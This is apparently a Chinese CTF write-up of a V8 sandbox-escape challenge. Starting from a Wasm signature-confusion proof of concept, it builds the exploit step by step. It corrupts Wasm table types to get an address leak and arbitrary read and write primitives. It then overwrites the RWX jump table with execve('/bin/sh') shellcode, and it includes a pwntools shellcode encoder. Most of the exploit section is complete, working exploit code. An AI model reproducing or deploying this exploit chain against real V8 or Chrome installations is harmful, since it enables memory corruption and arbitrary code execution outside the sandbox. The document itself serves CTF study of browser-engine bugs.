commit

通过附件中的build.dockerfile我们可以看到v8的实际回滚版本:

1
2
3
...
RUN git fetch && git switch -d 'f603d5769be54dcd24308ff9aec041486ea54f5b^'
...

对应commit:f603d5769be54dcd24308ff9aec041486ea54f5b的父节点。另外,提供的patch并没增添漏洞功能,只是删除了一些全局obj,那么关键点就在于分析f603d5这个commit的提交内容了。

通过检索,可以得到以下基本信息:

在issues中,我们可以得到漏洞关键信息以及一个poc代码

One place where this currently goes wrong is in JS -> Wasm calls, where in-heap corruption can lead to a mismatch between the signature used by the JSToWasm wrapper and the actual Wasm code. This can in turn lead to out-of-sandbox memory corruption, for example if the number of parameters doesn’t match, in which case the Wasm code may corrupt stack memory.

个人拙劣翻译一下:目前在JS -> Wasm的调用中出现了一个错误,v8堆内的一个内存错误会导致Wasm的实际执行的代码和JSToWasm wrapper中的函数签名不匹配。这个漏洞将能够转化为沙盒外的内存错误,举个例子,如果函数签名中的参数数量不匹配,会导致Wasm执行的代码损害栈内存

poc文件相关链接:

那么这个题目就转变为了,已知POC完成EXP编写的过程。

Proof of Concept

基本逻辑

运行POC,可以看到如下报错

image-20250409161622299

可以证明的确发生了沙盒外的内存错误,且期望hash与实际hash值不相符。紧接着看看POC中内存错误的触发点,相关代码大致如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

...

builder.addFunction("func1", $sig_i_l).exportFunc().addBody([
kExprLocalGet, 0,
kExprI32ConvertI64,
]);
...

builder.addFunction("boom", kSig_i_l).exportFunc().addBody([
kExprLocalGet, 0,
kExprRefFunc, 1,
kExprCallRef, $sig_i_l,
])
...

let target = BigInt(Sandbox.targetPage - (kStructField0Offset - kHeapObjectTag));
instance.exports.boom(target);

可以看构建了两个函数func1boom

  • func1()的调用形式为:param(i64) –> result(i32),类似C/C++中传入一个自定义的 $struct结构体,返回void
  • boom()的调用形式为:param(i64) –> result(i32),类似C/C++中传入一个 int64,返回int32

boom在执行时,调用索引1的函数引用(也就是func1),理论上讲参数形式都是相符的,不应该存在报错。

部分代码解释

1
2
3
kExprLocalGet, 0, // 获取参数0
kExprRefFunc, 1, // 获取func1的引用
kExprCallRef, $sig_i_l, //调用func1,期望类型为$sig_i_l

签名混淆

下面看看,其具体做了什么操作,导致了函数参数混淆:

1
2
3
4
5
6
7
8
9
10
...
let f0_box = getPtr(instance.exports.get_func0());
let f0 = getField(f0_box, kStructField0Offset);
let f0_int = getField(f0, kWasmInternalFunctionOffset);

let f1_box = getPtr(instance.exports.get_func1());
let f1 = getField(f1_box, kStructField0Offset);

setField(f1, kWasmInternalFunctionOffset, f0_int);
...

直观上看,也很容易理解,从func0中取出存储的特定内容,并覆盖给func1的对应位置,使得func1的调用时出现错误。

具体来说,详细的逻辑链路应当如下:

  1. 从特定位置获取func0的签名let f0_int = getField(f0, kWasmInternalFunctionOffset);
  2. 用func0的签名覆盖func1的签名setField(f1, kWasmInternalFunctionOffset, f0_int);
  3. 调用boom函数,target为i64格式instance.exports.boom(target);
  4. boom调用func1的引用,并期望签名为$sig_i_lkExprCallRef, $sig_i_l,
  5. 检查被调用函数签名与期望签名是否相符:此时,由于func1的签名已经被覆盖为func0makeSig([wasmRefType($struct)], []),与$sig_i_l不相符
  6. 调用失败,程序崩溃:The following harmless error was encountered: Check failed: expected_hash == internal_function->signature_hash().

漏洞利用

从POC到原语

首先我们需要清楚这个POC为我们提供了什么原语。漏洞提供的POC本身是为了证明函数的签名可以被混淆,那我们可以猜想:

能不能篡改签名,使得函数的参数与定义不符的情况下,依然可以被正常调用呢?

我们构造一个新的POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
function hex(i) {
return i.toString(16).padStart(8, "0");
}
// d8.file.execute('test/mjsunit/wasm/wasm-module-builder.js');
const builder = new WasmModuleBuilder();
builder.exportMemoryAs("mem0", 0);
let $mem0 = builder.addMemory(1, 1);

let $sig_l_l = builder.addType(kSig_l_l);
let $sig_l_0 = builder.addType(makeSig([], [kWasmI64]));

let $func = builder.addFunction("func", $sig_l_l)
.exportFunc()
.addBody([
kExprLocalGet, 0,
]);
let $func_l_0 = builder.addFunction("func_l_0", $sig_l_0)
.exportFunc()
.addBody([
kExprI64Const, 0, //返回0
]);

let $t = builder.addTable(wasmRefType($sig_l_0), 1, 1, [kExprRefFunc, $func_l_0.index]);
builder.addExportOfKind("table", kExternalTable, $t.index);//导出表格


builder.addFunction("leak", $sig_l_0)
.exportFunc()
.addBody([
kExprI32Const, 0, // func index
kExprCallIndirect, $sig_l_0, 0 /* table num */,
]);

let instance = builder.instantiate();//实例化模型
let func = instance.exports.func;
let table = instance.exports.table;

const kHeapObjectTag = 1;
const kStructField0Offset = 8; // 0:map, 4:hash

let memory = new DataView(new Sandbox.MemoryView(0, 0x100000000));

function getAddressOf_sbx(obj){
return Sandbox.getAddressOf(obj) + kHeapObjectTag;
}
function getUint32_sbx(obj, offset){
return memory.getUint32(obj + offset - kHeapObjectTag, true);
}
function setUint32_sbx(obj, offset, value){
memory.setUint32(obj + offset - kHeapObjectTag, value, true);
}

// Corrupt the table's type to accept putting $func0 into it.

let t = getAddressOf_sbx(table);

/**
* 通过调试查看test table的raw_type段内容获取,如下:
* let $test_table = builder.addTable(wasmRefType($sig_func), 1, 1, [kExprRefFunc, $func.index]);
* builder.addExportOfKind("test_table", kExternalTable, $test_table.index);//导出表格
* %DebugPrint($test_table);
* 其中$sig_func是函数的签名
*
* 或者有如下type计算公式:
* const kRef = 9;
* const kSmiTagSize = 1;
* const kHeapTypeShift = 5;、
* let type = (($sig_func << kHeapTypeShift) | kRef) << kSmiTagSize;
* 其中$sig_aaw是对应函数的签名
*/

const kWasmTableObjectTypeOffset = 32; //debug调试即可得到
const kRef = 9;
const kSmiTagSize = 1;
const kHeapTypeShift = 5;
let type = (($sig_l_l << kHeapTypeShift) | kRef) << kSmiTagSize;
setUint32_sbx(t, kWasmTableObjectTypeOffset, type);

table.set(0, func); //将func放入table中
let leakAddr = instance.exports.leak;

let something = leakAddr();
console.log("[+] leakAddr --> 0x"+hex(something));

简单来讲我们做了如下操作:

  1. 更改table中需要存储的函数func_l_0签名
  2. 将func放入table中func_l_0的位置
  3. 调用leak,引用table中索引0的函数,期望类型为$sig_l_0
  4. 返回根本没有传入的参数,从而造成内存泄露

即我们将一个类型为param(i64) –> result(i64)的函数转变为param(NULL) –> result(i64),由于实际执行代码时根本没有传入参数(类似未初始化漏洞),则可能导致泄露沙盒外的指针。

更多利用原语

有了沙箱外的地址泄露,下一步就是考虑如何构造AAW以及AAR

AAW

假设有如下函数,可以将argv[1]写入$struct结构体的对应域

1
2
3
4
5
6
7
8
9
10
let $struct     = builder.addStruct([makeField(kWasmI64, true)]);
let $sig_0_sl = builder.addType(makeSig([wasmRefType($struct), kWasmI64], []));

let $func0 = builder.addFunction("func0", $sig_0_sl)
.exportFunc()
.addBody([
kExprLocalGet, 0, //获取第一个参数
kExprLocalGet, 1, //获取第二个参数
kGCPrefix, kExprStructSet, $struct, 0,
]);

如混淆其调用类型为param(i64, i64) –> result(NULL) ,不就是类似[argv[0] -1 + 8 ]= argv[1]的任意地址写:

因为argv[0]在实际代码执行时,被当作指针,因此需要计算偏移,前面为maphash的部分

AAR

类似的,有如下函数可以获取$struct的对应域

1
2
3
4
5
6
7
8
let $sig_l_s    = builder.addType(makeSig([wasmRefType($struct)], [kWasmI64]));

let $func1 = builder.addFunction("func1", $sig_l_s)
.exportFunc()
.addBody([
kExprLocalGet, 0,
kGCPrefix, kExprStructGet, $struct, 0,
]);

如混淆其调用类型为param(i64) –> result(i64) ,即类似于reslut = [argv[0]-1+8]

开始利用

有了这些基础,我们就可以开始编写exp了,首先我们需要看看leak能够得到什么

1
2
3
4
let leakAddr = instance.exports.leak;

let something = leakAddr();
console.log("[+] leakAddr --> 0x"+hex(something));

我们能够发现leak得到的是一个WasmDispatchTableTable对象,如下:

image-20250410102608845

并且能够看到,在特定偏移出存放rwx段的原始指针。继续查看指针附近的内容:

image-20250410103350287

相信看到这个内容,足够敏感的pwner已经能够注意到这是一个类似GOT - PLT表的结构,0x0 - 0x9对应了类似libc中runtime_resolve()所需的函数索引值。

想要具体了解这些结构运行逻辑的同学可以自己调试,并查阅资料

那么我们只需要做类似GOT Hijacking的操作:

  • 在一个空闲的区域写入shellcode
  • 然后将某个函数的执行流更改到shellcode上即可
  • 这里我选择的是新创建的函数boom,这样也不会和其他构造的函数冲突
1
2
3
4
5
builder.addFunction("boom", $sig_l_l)
.exportFunc()
.addBody([
kExprI64Const, 0,
]);

因为是最后一个构造的函数,对应就是索引为0x9,偏移为0x2d的位置。写入时需要注意参数1的形式

1
2
3
4
5
6
7
8
anyAddrWrite(target, 0x622fbf4856f63148n);
anyAddrWrite(target+0x8n, 0x48570068732f6e69n);
anyAddrWrite(target+0x10n, 0xc0c748d23148e789n);
anyAddrWrite(target+0x18n, 0x050f006a0000003bn);
anyAddrWrite(target+0x30n, 0x0000000000050f00n);
anyAddrWrite(rwx_part1+0x2dn-8n+1n, 0xdd6e9n);

boom(0x1n);

关于shellcode的构造,借助pwntools库即可。这里我用deepseek帮我生成了一个脚本,用于生成小端序的i64格式shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *

def generate_64bit_shellcode(assembly_code):
# 设置上下文为64位
context(arch='amd64', os='linux')

try:
# 汇编并自动优化代码
shellcode = asm(assembly_code)
print("[+] Assembly success, byte len:", len(shellcode))
except Exception as e:
print(f"[!] Assembly failed: {e}")
return None

# 填充对齐到8字节
padding = (8 - (len(shellcode) % 8)) % 8
if padding:
print(f"[+] padding {padding} byte(0x00)")
shellcode += b"\x00" * padding

# 转换为64位十六进制数组
qwords = []
for i in range(0, len(shellcode), 8):
chunk = shellcode[i:i+8]
# 小端序转换并补齐8字节
qword = int.from_bytes(chunk.ljust(8, b"\x00"), "little")
qwords.append(f"0x{qword:016x}")

return f"[{', '.join(qwords)}]"

if __name__ == "__main__":
# 在这里输入你的汇编代码
custom_asm = """
xor rsi, rsi
push rsi
mov rdi, 0x68732f6e69622f /* /bin/sh */
push rdi
mov rdi, rsp /* 获取字符串地址 */
xor rdx, rdx
mov rax, 0x3b /* execve系统调用号 */
push 0x0
syscall
"""

# 生成并打印结果
if result := generate_64bit_shellcode(custom_asm):
print("\nresult: ")
print(result)

运行结果:

image-20250410104748206

Expolit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171

function hex(i) {
return i.toString(16).padStart(8, "0");
}
d8.file.execute('test/mjsunit/wasm/wasm-module-builder.js');
const builder = new WasmModuleBuilder();
builder.exportMemoryAs("mem0", 0);
let $mem0 = builder.addMemory(1, 1);

let kSig_i_ll = makeSig([kWasmI64, kWasmI64], [kWasmI32]);
let kSig_l_f = makeSig([kWasmFuncRef], [kWasmI64])
let $struct = builder.addStruct([makeField(kWasmI64, true)]);
let $box = builder.addStruct([makeField(kWasmFuncRef, true)]);
let $sig_i_ll = builder.addType(kSig_i_ll);
let $sig_l_l = builder.addType(kSig_l_l);
let $sig_0_sl = builder.addType(makeSig([wasmRefType($struct), kWasmI64], []));
let $sig_l_s = builder.addType(makeSig([wasmRefType($struct)], [kWasmI64]));
let $sig_0_ll = builder.addType(makeSig([kWasmI64, kWasmI64], []));
let $sig_l_0 = builder.addType(makeSig([], [kWasmI64]));

let $func0 = builder.addFunction("func0", $sig_0_sl)
.exportFunc()
.addBody([
kExprLocalGet, 0, //获取第一个参数
kExprLocalGet, 1, //获取第二个参数
kGCPrefix, kExprStructSet, $struct, 0,
]);
let $func1 = builder.addFunction("func1", $sig_l_s)
.exportFunc()
.addBody([
kExprLocalGet, 0,
kGCPrefix, kExprStructGet, $struct, 0,
]);
let $func2 = builder.addFunction("func2", $sig_l_l)
.exportFunc()
.addBody([
kExprLocalGet, 0,
]);
let $func_i_ll = builder.addFunction("func_i_ll", $sig_i_ll)
.exportFunc()
.addBody([
kExprI32Const, 0, //返回0
]);
let $func_l_l = builder.addFunction("func_l_l", $sig_l_l)
.exportFunc()
.addBody([
kExprI64Const, 0, //返回0
]);
let $func_l_0 = builder.addFunction("func_l_0", $sig_l_0)
.exportFunc()
.addBody([
kExprI64Const, 0, //返回0
]);

let $t0 = builder.addTable(wasmRefType($sig_i_ll), 1, 1, [kExprRefFunc, $func_i_ll.index]);
builder.addExportOfKind("table0", kExternalTable, $t0.index);//导出表格

let $t1 = builder.addTable(wasmRefType($sig_l_l), 1, 1, [kExprRefFunc, $func_l_l.index]);
builder.addExportOfKind("table1", kExternalTable, $t1.index);//导出表格

let $t2 = builder.addTable(wasmRefType($sig_l_0), 1, 1, [kExprRefFunc, $func_l_0.index]);
builder.addExportOfKind("table2", kExternalTable, $t2.index);//导出表格

let $test_table = builder.addTable(wasmRefType($sig_l_l), 1, 1, [kExprRefFunc, $func2.index]);
builder.addExportOfKind("test_table", kExternalTable, $test_table.index);//导出表格

builder.addFunction("aaw", kSig_i_ll)
.exportFunc()
.addBody([
kExprLocalGet, 1,
kExprLocalGet, 0, // func parameter
kExprI32Const, 0, // func index
kExprCallIndirect, $sig_i_ll, 0 /* table num */,
]);
builder.addFunction("aar", kSig_l_l)
.exportFunc()
.addBody([
kExprLocalGet, 0, // func parameter
kExprI32Const, 0, // func index
kExprCallIndirect, $sig_l_l, 1 /* table num */,
]);
builder.addFunction("leak", kSig_l_v)
.exportFunc()
.addBody([
kExprI32Const, 0, // func index
kExprCallIndirect, $sig_l_0, 2 /* table num */,
]);
builder.addFunction("boom", $sig_l_l)
.exportFunc()
.addBody([
kExprI64Const, 0,
]);

let instance = builder.instantiate();//实例化模型
let func0 = instance.exports.func0;
let func1 = instance.exports.func1;
let func2 = instance.exports.func2;
let table0 = instance.exports.table0;
let table1 = instance.exports.table1;
let table2 = instance.exports.table2;
let test_table = instance.exports.test_table;
let boom = instance.exports.boom;

const kHeapObjectTag = 1;
const kStructField0Offset = 8; // 0:map, 4:hash

let memory = new DataView(new Sandbox.MemoryView(0, 0x100000000));

function getAddressOf_sbx(obj){
return Sandbox.getAddressOf(obj) + kHeapObjectTag;
}
function getUint32_sbx(obj, offset){
return memory.getUint32(obj + offset - kHeapObjectTag, true);
}
function setUint32_sbx(obj, offset, value){
memory.setUint32(obj + offset - kHeapObjectTag, value, true);
}

// Corrupt the table's type to accept putting $func0 into it.

let t0 = getAddressOf_sbx(table0);
let t1 = getAddressOf_sbx(table1);
let t2 = getAddressOf_sbx(table2);

/**
* 通过调试查看test table的raw_type段内容获取,如下:
* let $test_table = builder.addTable(wasmRefType($sig_func), 1, 1, [kExprRefFunc, $func.index]);
* builder.addExportOfKind("test_table", kExternalTable, $test_table.index);//导出表格
* %DebugPrint($test_table);
* 其中$sig_func是函数的签名
*
* 或者有如下type计算公式:
* const kRef = 9;
* const kSmiTagSize = 1;
* const kHeapTypeShift = 5;、
* let type = (($sig_func << kHeapTypeShift) | kRef) << kSmiTagSize;
* 其中$sig_aaw是对应函数的签名
*/

const kWasmTableObjectTypeOffset = 32; //debug调试即可得到
let type0 = 137*2;
let type1 = 169*2;
let type2 = 105*2;

setUint32_sbx(t0, kWasmTableObjectTypeOffset, type0);
table0.set(0, func0); //将func0放入table0中
setUint32_sbx(t1, kWasmTableObjectTypeOffset, type1);
table1.set(0, func1); //将func1放入table1中
setUint32_sbx(t2, kWasmTableObjectTypeOffset, type2);
table2.set(0, func2); //将func2放入table2中

let anyAddrWrite = instance.exports.aaw;
let anyAddrRead = instance.exports.aar;
let leakAddr = instance.exports.leak;

let something = leakAddr();
console.log("[+] leakAddr --> 0x"+hex(something));
let rwx_part1 = anyAddrRead(something + 0x20n) - 0xan; // -0xa由debug获取
console.log("[+] rwx_part1 --> 0x"+hex(rwx_part1));

let target = rwx_part1 + 0xe00n +1n;
console.log("[+] target --> 0x"+hex(target));

anyAddrWrite(target, 0x622fbf4856f63148n);
anyAddrWrite(target+0x8n, 0x48570068732f6e69n);
anyAddrWrite(target+0x10n, 0xc0c748d23148e789n);
anyAddrWrite(target+0x18n, 0x050f006a0000003bn);
anyAddrWrite(target+0x30n, 0x0000000000050f00n);
anyAddrWrite(rwx_part1+0x2dn-8n+1n, 0xdd6e9n);

boom(0x1n);